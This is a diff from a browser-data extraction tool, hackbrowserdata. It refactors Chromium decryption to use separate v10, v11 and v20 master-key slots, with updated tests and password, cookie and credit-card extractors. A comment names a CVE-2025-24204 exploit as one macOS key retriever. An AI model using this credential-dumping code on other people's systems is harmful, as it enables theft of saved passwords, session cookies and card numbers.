got, err := decryptValue(keyretriever.MasterKeys{V10: k10, V11: k11, V20: k20}, v20Ciphertext)
|
||||||
|
require.NoError(t, err)
|
||||||
|
assert.Equal(t, plaintext, got)
|
||||||
|
})
|
||||||
|
|
||||||
|
t.Run("V20 holds wrong key: v20 still picks V20 slot (not V10/V11), errors", func(t *testing.T) {
|
||||||
|
// If the dispatcher incorrectly fell back to V10 or V11 when V20 had a wrong key, this
|
||||||
|
// would succeed. Proves the router uses prefix-based selection, not first-usable-key.
|
||||||
|
_, err := decryptValue(keyretriever.MasterKeys{V10: k20, V11: k20, V20: k10}, v20Ciphertext)
|
||||||
|
require.Error(t, err)
|
||||||
|
})
|
||||||
|
|
||||||
|
t.Run("only V20 populated: v20 still decrypts", func(t *testing.T) {
|
||||||
|
// The pre-#578 symmetric regression: when DPAPI/keyring failed and only V20 was retrieved,
|
||||||
|
// v20 cookies had to still decrypt. This asserts V10 and V11 being nil doesn't block v20.
|
||||||
|
got, err := decryptValue(keyretriever.MasterKeys{V20: k20}, v20Ciphertext)
|
||||||
|
require.NoError(t, err)
|
||||||
|
assert.Equal(t, plaintext, got)
|
||||||
|
})
|
||||||
|
|
||||||
|
t.Run("V20 slot unpopulated: v20 errors (no key to use)", func(t *testing.T) {
|
||||||
|
_, err := decryptValue(keyretriever.MasterKeys{V10: k10, V11: k11}, v20Ciphertext)
|
||||||
|
require.Error(t, err)
|
||||||
|
})
|
||||||
|
}
|
||||||
@@ -10,6 +10,7 @@ import (
|
|||||||
"github.com/stretchr/testify/require"
|
"github.com/stretchr/testify/require"
|
||||||
|
|
||||||
"github.com/moond4rk/hackbrowserdata/crypto"
|
"github.com/moond4rk/hackbrowserdata/crypto"
|
||||||
|
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
|
||||||
)
|
)
|
||||||
|
|
||||||
func TestDecryptValue_V10(t *testing.T) {
|
func TestDecryptValue_V10(t *testing.T) {
|
||||||
@@ -39,7 +40,7 @@ func TestDecryptValue_V10(t *testing.T) {
|
|||||||
|
|
||||||
for _, tt := range tests {
|
for _, tt := range tests {
|
||||||
t.Run(tt.name, func(t *testing.T) {
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
got, err := decryptValue(tt.key, v10Ciphertext)
|
got, err := decryptValue(keyretriever.MasterKeys{V10: tt.key}, v10Ciphertext)
|
||||||
if tt.wantErrMsg != "" {
|
if tt.wantErrMsg != "" {
|
||||||
require.Error(t, err)
|
require.Error(t, err)
|
||||||
assert.Contains(t, err.Error(), tt.wantErrMsg)
|
assert.Contains(t, err.Error(), tt.wantErrMsg)
|
||||||
@@ -59,7 +60,52 @@ func TestDecryptValue_V11(t *testing.T) {
|
|||||||
require.NoError(t, err)
|
require.NoError(t, err)
|
||||||
v11Ciphertext := append([]byte("v11"), cbcEncrypted...)
|
v11Ciphertext := append([]byte("v11"), cbcEncrypted...)
|
||||||
|
|
||||||
got, err := decryptValue(testAESKey, v11Ciphertext)
|
// v11 ciphertexts route to the V11 slot (Linux's keyring-derived kV11Key) — not V10 (peanuts).
|
||||||
|
got, err := decryptValue(keyretriever.MasterKeys{V11: testAESKey}, v11Ciphertext)
|
||||||
require.NoError(t, err)
|
require.NoError(t, err)
|
||||||
assert.Equal(t, plaintext, got)
|
assert.Equal(t, plaintext, got)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// TestDecryptValue_V10_V11_SlotSeparation is the Linux analog of the #578 regression test: a
|
||||||
|
// profile carrying both v10 (peanuts) and v11 (keyring) ciphertexts must route each prefix to
|
||||||
|
// its own slot, not share a single key. Build-tag scoped to darwin/linux because v10/v11 use
|
||||||
|
// AES-CBC on these platforms; Windows uses AES-GCM for v10 and is covered separately by
|
||||||
|
// decrypt_windows_test.go.
|
||||||
|
func TestDecryptValue_V10_V11_SlotSeparation(t *testing.T) {
|
||||||
|
k10 := bytes.Repeat([]byte{0x10}, 16) // V10 slot key (peanuts-derived kV10Key)
|
||||||
|
k11 := bytes.Repeat([]byte{0x11}, 16) // V11 slot key (keyring-derived kV11Key)
|
||||||
|
|
||||||
|
iv := bytes.Repeat([]byte{0x20}, 16) // matches crypto.chromiumCBCIV on darwin/linux
|
||||||
|
v10plain := []byte("password-from-v10-era")
|
||||||
|
v11plain := []byte("password-from-v11-era")
|
||||||
|
|
||||||
|
v10Enc, err := crypto.AESCBCEncrypt(k10, iv, v10plain)
|
||||||
|
require.NoError(t, err)
|
||||||
|
v10Ciphertext := append([]byte("v10"), v10Enc...)
|
||||||
|
|
||||||
|
v11Enc, err := crypto.AESCBCEncrypt(k11, iv, v11plain)
|
||||||
|
require.NoError(t, err)
|
||||||
|
v11Ciphertext := append([]byte("v11"), v11Enc...)
|
||||||
|
|
||||||
|
keys := keyretriever.MasterKeys{V10: k10, V11: k11}
|
||||||
|
|
||||||
|
t.Run("v10 ciphertext decrypts via V10 slot", func(t *testing.T) {
|
||||||
|
got, err := decryptValue(keys, v10Ciphertext)
|
||||||
|
require.NoError(t, err)
|
||||||
|
assert.Equal(t, v10plain, got)
|
||||||
|
})
|
||||||
|
|
||||||
|
t.Run("v11 ciphertext decrypts via V11 slot", func(t *testing.T) {
|
||||||
|
got, err := decryptValue(keys, v11Ciphertext)
|
||||||
|
require.NoError(t, err)
|
||||||
|
assert.Equal(t, v11plain, got)
|
||||||
|
})
|
||||||
|
|
||||||
|
t.Run("swapped keys fail both directions", func(t *testing.T) {
|
||||||
|
swapped := keyretriever.MasterKeys{V10: k11, V11: k10}
|
||||||
|
_, err := decryptValue(swapped, v10Ciphertext)
|
||||||
|
require.Error(t, err, "v10 with V11's key must fail")
|
||||||
|
_, err = decryptValue(swapped, v11Ciphertext)
|
||||||
|
require.Error(t, err, "v11 with V10's key must fail")
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|||||||
@@ -7,6 +7,7 @@ import (
|
|||||||
"github.com/stretchr/testify/require"
|
"github.com/stretchr/testify/require"
|
||||||
|
|
||||||
"github.com/moond4rk/hackbrowserdata/crypto"
|
"github.com/moond4rk/hackbrowserdata/crypto"
|
||||||
|
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
|
||||||
)
|
)
|
||||||
|
|
||||||
// TestDecryptValue_V20 is cross-platform because v20's ciphertext format
|
// TestDecryptValue_V20 is cross-platform because v20's ciphertext format
|
||||||
@@ -23,13 +24,13 @@ func TestDecryptValue_V20(t *testing.T) {
|
|||||||
// v20 layout: "v20" (3B) + nonce (12B) + ciphertext+tag
|
// v20 layout: "v20" (3B) + nonce (12B) + ciphertext+tag
|
||||||
ciphertext := append([]byte("v20"), append(nonce, gcm...)...)
|
ciphertext := append([]byte("v20"), append(nonce, gcm...)...)
|
||||||
|
|
||||||
got, err := decryptValue(testAESKey, ciphertext)
|
got, err := decryptValue(keyretriever.MasterKeys{V20: testAESKey}, ciphertext)
|
||||||
require.NoError(t, err)
|
require.NoError(t, err)
|
||||||
assert.Equal(t, plaintext, got)
|
assert.Equal(t, plaintext, got)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestDecryptValue_V20_ShortCiphertext(t *testing.T) {
|
func TestDecryptValue_V20_ShortCiphertext(t *testing.T) {
|
||||||
// Missing nonce (prefix only) must error, not panic.
|
// Missing nonce (prefix only) must error, not panic.
|
||||||
_, err := decryptValue(testAESKey, []byte("v20"))
|
_, err := decryptValue(keyretriever.MasterKeys{V20: testAESKey}, []byte("v20"))
|
||||||
require.Error(t, err)
|
require.Error(t, err)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -12,6 +12,7 @@ import (
|
|||||||
"github.com/stretchr/testify/require"
|
"github.com/stretchr/testify/require"
|
||||||
|
|
||||||
"github.com/moond4rk/hackbrowserdata/crypto"
|
"github.com/moond4rk/hackbrowserdata/crypto"
|
||||||
|
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
|
||||||
)
|
)
|
||||||
|
|
||||||
// encryptWithDPAPI encrypts data using Windows DPAPI (CryptProtectData).
|
// encryptWithDPAPI encrypts data using Windows DPAPI (CryptProtectData).
|
||||||
@@ -63,7 +64,7 @@ func TestDecryptValue_V10_Windows(t *testing.T) {
|
|||||||
// v10 format on Windows: "v10" + nonce(12) + encrypted
|
// v10 format on Windows: "v10" + nonce(12) + encrypted
|
||||||
ciphertext := append([]byte("v10"), append(nonce, gcmEncrypted...)...)
|
ciphertext := append([]byte("v10"), append(nonce, gcmEncrypted...)...)
|
||||||
|
|
||||||
got, err := decryptValue(testAESKey, ciphertext)
|
got, err := decryptValue(keyretriever.MasterKeys{V10: testAESKey}, ciphertext)
|
||||||
require.NoError(t, err)
|
require.NoError(t, err)
|
||||||
assert.Equal(t, plaintext, got)
|
assert.Equal(t, plaintext, got)
|
||||||
}
|
}
|
||||||
@@ -76,8 +77,8 @@ func TestDecryptValue_DPAPI_Windows(t *testing.T) {
|
|||||||
require.NoError(t, err)
|
require.NoError(t, err)
|
||||||
require.NotEmpty(t, encrypted)
|
require.NotEmpty(t, encrypted)
|
||||||
|
|
||||||
// No v10/v20 prefix → decryptValue routes to DPAPI path
|
// No v10/v20 prefix → decryptValue routes to DPAPI path; no per-tier key needed.
|
||||||
got, err := decryptValue(nil, encrypted)
|
got, err := decryptValue(keyretriever.MasterKeys{}, encrypted)
|
||||||
require.NoError(t, err)
|
require.NoError(t, err)
|
||||||
assert.Equal(t, plaintext, got)
|
assert.Equal(t, plaintext, got)
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -6,7 +6,7 @@ import (
|
|||||||
"database/sql"
|
"database/sql"
|
||||||
"sort"
|
"sort"
|
||||||
|
|
||||||
"github.com/moond4rk/hackbrowserdata/log"
|
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
|
||||||
"github.com/moond4rk/hackbrowserdata/types"
|
"github.com/moond4rk/hackbrowserdata/types"
|
||||||
"github.com/moond4rk/hackbrowserdata/utils/sqliteutil"
|
"github.com/moond4rk/hackbrowserdata/utils/sqliteutil"
|
||||||
)
|
)
|
||||||
@@ -18,9 +18,7 @@ const (
|
|||||||
countCookieQuery = `SELECT COUNT(*) FROM cookies`
|
countCookieQuery = `SELECT COUNT(*) FROM cookies`
|
||||||
)
|
)
|
||||||
|
|
||||||
func extractCookies(masterKey []byte, path string) ([]types.CookieEntry, error) {
|
func extractCookies(keys keyretriever.MasterKeys, path string) ([]types.CookieEntry, error) {
|
||||||
var decryptFails int
|
|
||||||
var lastErr error
|
|
||||||
cookies, err := sqliteutil.QueryRows(path, false, defaultCookieQuery,
|
cookies, err := sqliteutil.QueryRows(path, false, defaultCookieQuery,
|
||||||
func(rows *sql.Rows) (types.CookieEntry, error) {
|
func(rows *sql.Rows) (types.CookieEntry, error) {
|
||||||
var (
|
var (
|
||||||
@@ -36,11 +34,7 @@ func extractCookies(masterKey []byte, path string) ([]types.CookieEntry, error)
|
|||||||
return types.CookieEntry{}, err
|
return types.CookieEntry{}, err
|
||||||
}
|
}
|
||||||
|
|
||||||
value, err := decryptValue(masterKey, encryptedValue)
|
value, _ := decryptValue(keys, encryptedValue)
|
||||||
if err != nil {
|
|
||||||
decryptFails++
|
|
||||||
lastErr = err
|
|
||||||
}
|
|
||||||
value = stripCookieHash(value, host)
|
value = stripCookieHash(value, host)
|
||||||
return types.CookieEntry{
|
return types.CookieEntry{
|
||||||
Name: name,
|
Name: name,
|
||||||
@@ -58,9 +52,6 @@ func extractCookies(masterKey []byte, path string) ([]types.CookieEntry, error)
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
if decryptFails > 0 {
|
|
||||||
log.Warnf("cookies: total=%d decrypt_failed=%d last_err=%v", len(cookies), decryptFails, lastErr)
|
|
||||||
}
|
|
||||||
|
|
||||||
sort.Slice(cookies, func(i, j int) bool {
|
sort.Slice(cookies, func(i, j int) bool {
|
||||||
return cookies[i].CreatedAt.After(cookies[j].CreatedAt)
|
return cookies[i].CreatedAt.After(cookies[j].CreatedAt)
|
||||||
|
|||||||
@@ -6,6 +6,8 @@ import (
|
|||||||
|
|
||||||
"github.com/stretchr/testify/assert"
|
"github.com/stretchr/testify/assert"
|
||||||
"github.com/stretchr/testify/require"
|
"github.com/stretchr/testify/require"
|
||||||
|
|
||||||
|
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
|
||||||
)
|
)
|
||||||
|
|
||||||
func setupCookieDB(t *testing.T) string {
|
func setupCookieDB(t *testing.T) string {
|
||||||
@@ -19,7 +21,7 @@ func setupCookieDB(t *testing.T) string {
|
|||||||
func TestExtractCookies(t *testing.T) {
|
func TestExtractCookies(t *testing.T) {
|
||||||
path := setupCookieDB(t)
|
path := setupCookieDB(t)
|
||||||
|
|
||||||
got, err := extractCookies(nil, path)
|
got, err := extractCookies(keyretriever.MasterKeys{}, path)
|
||||||
require.NoError(t, err)
|
require.NoError(t, err)
|
||||||
require.Len(t, got, 2)
|
require.Len(t, got, 2)
|
||||||
|
|
||||||
|
|||||||
@@ -3,7 +3,7 @@ package chromium
|
|||||||
import (
|
import (
|
||||||
"database/sql"
|
"database/sql"
|
||||||
|
|
||||||
"github.com/moond4rk/hackbrowserdata/log"
|
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
|
||||||
"github.com/moond4rk/hackbrowserdata/types"
|
"github.com/moond4rk/hackbrowserdata/types"
|
||||||
"github.com/moond4rk/hackbrowserdata/utils/sqliteutil"
|
"github.com/moond4rk/hackbrowserdata/utils/sqliteutil"
|
||||||
)
|
)
|
||||||
@@ -14,9 +14,7 @@ const (
|
|||||||
countCreditCardQuery = `SELECT COUNT(*) FROM credit_cards`
|
countCreditCardQuery = `SELECT COUNT(*) FROM credit_cards`
|
||||||
)
|
)
|
||||||
|
|
||||||
func extractCreditCards(masterKey []byte, path string) ([]types.CreditCardEntry, error) {
|
func extractCreditCards(keys keyretriever.MasterKeys, path string) ([]types.CreditCardEntry, error) {
|
||||||
var decryptFails int
|
|
||||||
var lastErr error
|
|
||||||
cards, err := sqliteutil.QueryRows(path, false, defaultCreditCardQuery,
|
cards, err := sqliteutil.QueryRows(path, false, defaultCreditCardQuery,
|
||||||
func(rows *sql.Rows) (types.CreditCardEntry, error) {
|
func(rows *sql.Rows) (types.CreditCardEntry, error) {
|
||||||
var guid, name, month, year, nickname, address string
|
var guid, name, month, year, nickname, address string
|
||||||
@@ -24,11 +22,7 @@ func extractCreditCards(masterKey []byte, path string) ([]types.CreditCardEntry,
|
|||||||
if err := rows.Scan(&guid, &name, &month, &year, &encNumber, &nickname, &address); err != nil {
|
if err := rows.Scan(&guid, &name, &month, &year, &encNumber, &nickname, &address); err != nil {
|
||||||
return types.CreditCardEntry{}, err
|
return types.CreditCardEntry{}, err
|
||||||
}
|
}
|
||||||
number, err := decryptValue(masterKey, encNumber)
|
number, _ := decryptValue(keys, encNumber)
|
||||||
if err != nil {
|
|
||||||
decryptFails++
|
|
||||||
lastErr = err
|
|
||||||
}
|
|
||||||
return types.CreditCardEntry{
|
return types.CreditCardEntry{
|
||||||
GUID: guid,
|
GUID: guid,
|
||||||
Name: name,
|
Name: name,
|
||||||
@@ -42,9 +36,6 @@ func extractCreditCards(masterKey []byte, path string) ([]types.CreditCardEntry,
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
if decryptFails > 0 {
|
|
||||||
log.Debugf("decrypt credit cards: %d failed: %v", decryptFails, lastErr)
|
|
||||||
}
|
|
||||||
return cards, nil
|
return cards, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -5,6 +5,8 @@ import (
|
|||||||
|
|
||||||
"github.com/stretchr/testify/assert"
|
"github.com/stretchr/testify/assert"
|
||||||
"github.com/stretchr/testify/require"
|
"github.com/stretchr/testify/require"
|
||||||
|
|
||||||
|
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
|
||||||
)
|
)
|
||||||
|
|
||||||
func setupCreditCardDB(t *testing.T) string {
|
func setupCreditCardDB(t *testing.T) string {
|
||||||
@@ -18,7 +20,7 @@ func setupCreditCardDB(t *testing.T) string {
|
|||||||
func TestExtractCreditCards(t *testing.T) {
|
func TestExtractCreditCards(t *testing.T) {
|
||||||
path := setupCreditCardDB(t)
|
path := setupCreditCardDB(t)
|
||||||
|
|
||||||
got, err := extractCreditCards(nil, path)
|
got, err := extractCreditCards(keyretriever.MasterKeys{}, path)
|
||||||
require.NoError(t, err)
|
require.NoError(t, err)
|
||||||
require.Len(t, got, 2)
|
require.Len(t, got, 2)
|
||||||
|
|
||||||
|
|||||||
@@ -4,7 +4,7 @@ import (
|
|||||||
"database/sql"
|
"database/sql"
|
||||||
"sort"
|
"sort"
|
||||||
|
|
||||||
"github.com/moond4rk/hackbrowserdata/log"
|
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
|
||||||
"github.com/moond4rk/hackbrowserdata/types"
|
"github.com/moond4rk/hackbrowserdata/types"
|
||||||
"github.com/moond4rk/hackbrowserdata/utils/sqliteutil"
|
"github.com/moond4rk/hackbrowserdata/utils/sqliteutil"
|
||||||
)
|
)
|
||||||
@@ -14,13 +14,11 @@ const (
|
|||||||
countLoginQuery = `SELECT COUNT(*) FROM logins`
|
countLoginQuery = `SELECT COUNT(*) FROM logins`
|
||||||
)
|
)
|
||||||
|
|
||||||
func extractPasswords(masterKey []byte, path string) ([]types.LoginEntry, error) {
|
func extractPasswords(keys keyretriever.MasterKeys, path string) ([]types.LoginEntry, error) {
|
||||||
return extractPasswordsWithQuery(masterKey, path, defaultLoginQuery)
|
return extractPasswordsWithQuery(keys, path, defaultLoginQuery)
|
||||||
}
|
}
|
||||||
|
|
||||||
func extractPasswordsWithQuery(masterKey []byte, path, query string) ([]types.LoginEntry, error) {
|
func extractPasswordsWithQuery(keys keyretriever.MasterKeys, path, query string) ([]types.LoginEntry, error) {
|
||||||
var decryptFails int
|
|
||||||
var lastErr error
|
|
||||||
logins, err := sqliteutil.QueryRows(path, false, query,
|
logins, err := sqliteutil.QueryRows(path, false, query,
|
||||||
func(rows *sql.Rows) (types.LoginEntry, error) {
|
func(rows *sql.Rows) (types.LoginEntry, error) {
|
||||||
var url, username string
|
var url, username string
|
||||||
@@ -29,11 +27,7 @@ func extractPasswordsWithQuery(masterKey []byte, path, query string) ([]types.Lo
|
|||||||
if err := rows.Scan(&url, &username, &pwd, &created); err != nil {
|
if err := rows.Scan(&url, &username, &pwd, &created); err != nil {
|
||||||
return types.LoginEntry{}, err
|
return types.LoginEntry{}, err
|
||||||
}
|
}
|
||||||
password, err := decryptValue(masterKey, pwd)
|
password, _ := decryptValue(keys, pwd)
|
||||||
if err != nil {
|
|
||||||
decryptFails++
|
|
||||||
lastErr = err
|
|
||||||
}
|
|
||||||
return types.LoginEntry{
|
return types.LoginEntry{
|
||||||
URL: url,
|
URL: url,
|
||||||
Username: username,
|
Username: username,
|
||||||
@@ -44,9 +38,6 @@ func extractPasswordsWithQuery(masterKey []byte, path, query string) ([]types.Lo
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return nil, err
|
return nil, err
|
||||||
}
|
}
|
||||||
if decryptFails > 0 {
|
|
||||||
log.Warnf("passwords: total=%d decrypt_failed=%d last_err=%v", len(logins), decryptFails, lastErr)
|
|
||||||
}
|
|
||||||
|
|
||||||
sort.Slice(logins, func(i, j int) bool {
|
sort.Slice(logins, func(i, j int) bool {
|
||||||
return logins[i].CreatedAt.After(logins[j].CreatedAt)
|
return logins[i].CreatedAt.After(logins[j].CreatedAt)
|
||||||
@@ -56,9 +47,9 @@ func extractPasswordsWithQuery(masterKey []byte, path, query string) ([]types.Lo
|
|||||||
|
|
||||||
// extractYandexPasswords extracts passwords from Yandex's Ya Passman Data, which stores the URL in
|
// extractYandexPasswords extracts passwords from Yandex's Ya Passman Data, which stores the URL in
|
||||||
// action_url instead of origin_url.
|
// action_url instead of origin_url.
|
||||||
func extractYandexPasswords(masterKey []byte, path string) ([]types.LoginEntry, error) {
|
func extractYandexPasswords(keys keyretriever.MasterKeys, path string) ([]types.LoginEntry, error) {
|
||||||
const yandexLoginQuery = `SELECT action_url, username_value, password_value, date_created FROM logins`
|
const yandexLoginQuery = `SELECT action_url, username_value, password_value, date_created FROM logins`
|
||||||
return extractPasswordsWithQuery(masterKey, path, yandexLoginQuery)
|
return extractPasswordsWithQuery(keys, path, yandexLoginQuery)
|
||||||
}
|
}
|
||||||
|
|
||||||
func countPasswords(path string) (int, error) {
|
func countPasswords(path string) (int, error) {
|
||||||
|
|||||||
@@ -5,6 +5,8 @@ import (
|
|||||||
|
|
||||||
"github.com/stretchr/testify/assert"
|
"github.com/stretchr/testify/assert"
|
||||||
"github.com/stretchr/testify/require"
|
"github.com/stretchr/testify/require"
|
||||||
|
|
||||||
|
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
|
||||||
)
|
)
|
||||||
|
|
||||||
func setupLoginDB(t *testing.T) string {
|
func setupLoginDB(t *testing.T) string {
|
||||||
@@ -18,7 +20,7 @@ func setupLoginDB(t *testing.T) string {
|
|||||||
func TestExtractPasswords(t *testing.T) {
|
func TestExtractPasswords(t *testing.T) {
|
||||||
path := setupLoginDB(t)
|
path := setupLoginDB(t)
|
||||||
|
|
||||||
got, err := extractPasswords(nil, path)
|
got, err := extractPasswords(keyretriever.MasterKeys{}, path)
|
||||||
require.NoError(t, err)
|
require.NoError(t, err)
|
||||||
require.Len(t, got, 2)
|
require.Len(t, got, 2)
|
||||||
|
|
||||||
@@ -54,7 +56,7 @@ func TestExtractYandexPasswords(t *testing.T) {
|
|||||||
insertLogin("https://origin.yandex.ru", "https://action.yandex.ru/submit", "user", "", 13350000000000000),
|
insertLogin("https://origin.yandex.ru", "https://action.yandex.ru/submit", "user", "", 13350000000000000),
|
||||||
)
|
)
|
||||||
|
|
||||||
got, err := extractYandexPasswords(nil, path)
|
got, err := extractYandexPasswords(keyretriever.MasterKeys{}, path)
|
||||||
require.NoError(t, err)
|
require.NoError(t, err)
|
||||||
require.Len(t, got, 1)
|
require.Len(t, got, 1)
|
||||||
assert.Equal(t, "https://action.yandex.ru/submit", got[0].URL) // action_url, not origin_url
|
assert.Equal(t, "https://action.yandex.ru/submit", got[0].URL) // action_url, not origin_url
|
||||||
|
|||||||
@@ -3,6 +3,7 @@ package chromium
|
|||||||
import (
|
import (
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
|
|
||||||
|
"github.com/moond4rk/hackbrowserdata/crypto/keyretriever"
|
||||||
"github.com/moond4rk/hackbrowserdata/types"
|
"github.com/moond4rk/hackbrowserdata/types"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -68,17 +69,17 @@ func sourcesForKind(kind types.BrowserKind) map[types.Category][]sourcePath {
|
|||||||
// switch logic, enabling browser-specific parsing (e.g. Opera's opsettings
|
// switch logic, enabling browser-specific parsing (e.g. Opera's opsettings
|
||||||
// for extensions, Yandex's credit card table, QBCI-encrypted bookmarks).
|
// for extensions, Yandex's credit card table, QBCI-encrypted bookmarks).
|
||||||
type categoryExtractor interface {
|
type categoryExtractor interface {
|
||||||
extract(masterKey []byte, path string, data *types.BrowserData) error
|
extract(keys keyretriever.MasterKeys, path string, data *types.BrowserData) error
|
||||||
}
|
}
|
||||||
|
|
||||||
// passwordExtractor wraps a custom password extract function.
|
// passwordExtractor wraps a custom password extract function.
|
||||||
type passwordExtractor struct {
|
type passwordExtractor struct {
|
||||||
fn func(masterKey []byte, path string) ([]types.LoginEntry, error)
|
fn func(keys keyretriever.MasterKeys, path string) ([]types.LoginEntry, error)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (e passwordExtractor) extract(masterKey []byte, path string, data *types.BrowserData) error {
|
func (e passwordExtractor) extract(keys keyretriever.MasterKeys, path string, data *types.BrowserData) error {
|
||||||
var err error
|
var err error
|
||||||
data.Passwords, err = e.fn(masterKey, path)
|
data.Passwords, err = e.fn(keys, path)
|
||||||
return err
|
return err
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -87,7 +88,7 @@ type extensionExtractor struct {
|
|||||||
fn func(path string) ([]types.ExtensionEntry, error)
|
fn func(path string) ([]types.ExtensionEntry, error)
|
||||||
}
|
}
|
||||||
|
|
||||||
func (e extensionExtractor) extract(_ []byte, path string, data *types.BrowserData) error {
|
func (e extensionExtractor) extract(_ keyretriever.MasterKeys, path string, data *types.BrowserData) error {
|
||||||
var err error
|
var err error
|
||||||
data.Extensions, err = e.fn(path)
|
data.Extensions, err = e.fn(path)
|
||||||
return err
|
return err
|
||||||
|
|||||||
@@ -155,16 +155,18 @@ func (r *SecurityCmdRetriever) retrieveKeyOnce(storage string) ([]byte, error) {
|
|||||||
return darwinParams.deriveKey(secret), nil
|
return darwinParams.deriveKey(secret), nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// DefaultRetriever returns the macOS retriever chain, tried in order:
|
// DefaultRetrievers returns the macOS Retrievers. macOS has only a V10 tier (v11 and v20 cipher
|
||||||
|
// prefixes are not used by Chromium on this platform), populated by a within-tier first-success
|
||||||
|
// chain tried in order:
|
||||||
//
|
//
|
||||||
// 1. GcoredumpRetriever — CVE-2025-24204 exploit (root only)
|
// 1. GcoredumpRetriever — CVE-2025-24204 exploit (root only)
|
||||||
// 2. KeychainPasswordRetriever — direct unlock, skipped when password is empty
|
// 2. KeychainPasswordRetriever — direct unlock, skipped when password is empty
|
||||||
// 3. SecurityCmdRetriever — `security` CLI fallback (may trigger a dialog)
|
// 3. SecurityCmdRetriever — `security` CLI fallback (may trigger a dialog)
|
||||||
func DefaultRetriever(keychainPassword string) KeyRetriever {
|
func DefaultRetrievers(keychainPassword string) Retrievers {
|
||||||
retrievers := []KeyRetriever{&GcoredumpRetriever{}}
|
chain := []KeyRetriever{&GcoredumpRetriever{}}
|
||||||
if keychainPassword != "" {
|
if keychainPassword != "" {
|
||||||
retrievers = append(retrievers, &KeychainPasswordRetriever{Password: keychainPassword})
|
chain = append(chain, &KeychainPasswordRetriever{Password: keychainPassword})
|
||||||
}
|
}
|
||||||
retrievers = append(retrievers, &SecurityCmdRetriever{cache: make(map[string]securityResult)})
|
chain = append(chain, &SecurityCmdRetriever{cache: make(map[string]securityResult)})
|
||||||
return NewChain(retrievers...)
|
return Retrievers{V10: NewChain(chain...)}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -68,19 +68,30 @@ func (r *DBusRetriever) RetrieveKey(storage, _ string) ([]byte, error) {
|
|||||||
return nil, fmt.Errorf("%q: %w", storage, errStorageNotFound)
|
return nil, fmt.Errorf("%q: %w", storage, errStorageNotFound)
|
||||||
}
|
}
|
||||||
|
|
||||||
// FallbackRetriever uses the hardcoded "peanuts" password when D-Bus is unavailable.
|
// PosixRetriever produces Chromium's kV10Key by applying PBKDF2 to the hardcoded password
|
||||||
// https://source.chromium.org/chromium/chromium/src/+/main:components/os_crypt/os_crypt_linux.cc;l=100
|
// "peanuts". Matches Chromium's upstream PosixKeyProvider (components/os_crypt/async/browser/
|
||||||
type FallbackRetriever struct{}
|
// posix_key_provider.cc): a deterministic 16-byte AES-128 key used to encrypt ciphertexts with
|
||||||
|
// the "v10" prefix when no keyring is available (headless servers, Docker, CI).
|
||||||
|
type PosixRetriever struct{}
|
||||||
|
|
||||||
func (r *FallbackRetriever) RetrieveKey(_, _ string) ([]byte, error) {
|
func (r *PosixRetriever) RetrieveKey(_, _ string) ([]byte, error) {
|
||||||
return linuxParams.deriveKey([]byte("peanuts")), nil
|
return linuxParams.deriveKey([]byte("peanuts")), nil
|
||||||
}
|
}
|
||||||
|
|
||||||
// DefaultRetriever returns the Linux retriever chain:
|
// DefaultRetrievers returns the Linux Retrievers, one per cipher tier. Chromium on Linux emits
|
||||||
// D-Bus Secret Service first, then "peanuts" fallback.
|
// distinct prefixes for distinct key sources:
|
||||||
func DefaultRetriever() KeyRetriever {
|
//
|
||||||
return NewChain(
|
// - v10 prefix → PBKDF2("peanuts") — Chromium's kV10Key, emitted when no keyring is available
|
||||||
&DBusRetriever{},
|
// (headless servers, Docker, CI).
|
||||||
&FallbackRetriever{},
|
// - v11 prefix → PBKDF2(keyring secret) — Chromium's kV11Key, emitted when D-Bus Secret
|
||||||
)
|
// Service (GNOME Keyring / KWallet) is reachable.
|
||||||
|
//
|
||||||
|
// A profile can carry both prefixes if the host moved between keyring-equipped and headless
|
||||||
|
// sessions, so both tiers run independently with per-tier logging rather than a first-success
|
||||||
|
// chain.
|
||||||
|
func DefaultRetrievers() Retrievers {
|
||||||
|
return Retrievers{
|
||||||
|
V10: &PosixRetriever{},
|
||||||
|
V11: &DBusRetriever{},
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -9,8 +9,8 @@ import (
|
|||||||
"github.com/stretchr/testify/require"
|
"github.com/stretchr/testify/require"
|
||||||
)
|
)
|
||||||
|
|
||||||
func TestFallbackRetriever(t *testing.T) {
|
func TestPosixRetriever(t *testing.T) {
|
||||||
r := &FallbackRetriever{}
|
r := &PosixRetriever{}
|
||||||
|
|
||||||
key, err := r.RetrieveKey("Chrome", "")
|
key, err := r.RetrieveKey("Chrome", "")
|
||||||
require.NoError(t, err)
|
require.NoError(t, err)
|
||||||
@@ -27,32 +27,40 @@ func TestFallbackRetriever(t *testing.T) {
|
|||||||
}
|
}
|
||||||
assert.False(t, allZero, "derived key should not be all zeros")
|
assert.False(t, allZero, "derived key should not be all zeros")
|
||||||
|
|
||||||
// "peanuts" is a fixed fallback password, so the result should be
|
// "peanuts" is a hardcoded password, so the result should be the same regardless of storage
|
||||||
// the same regardless of storage name or number of calls.
|
// name or number of calls.
|
||||||
key2, err := r.RetrieveKey("Brave", "")
|
key2, err := r.RetrieveKey("Brave", "")
|
||||||
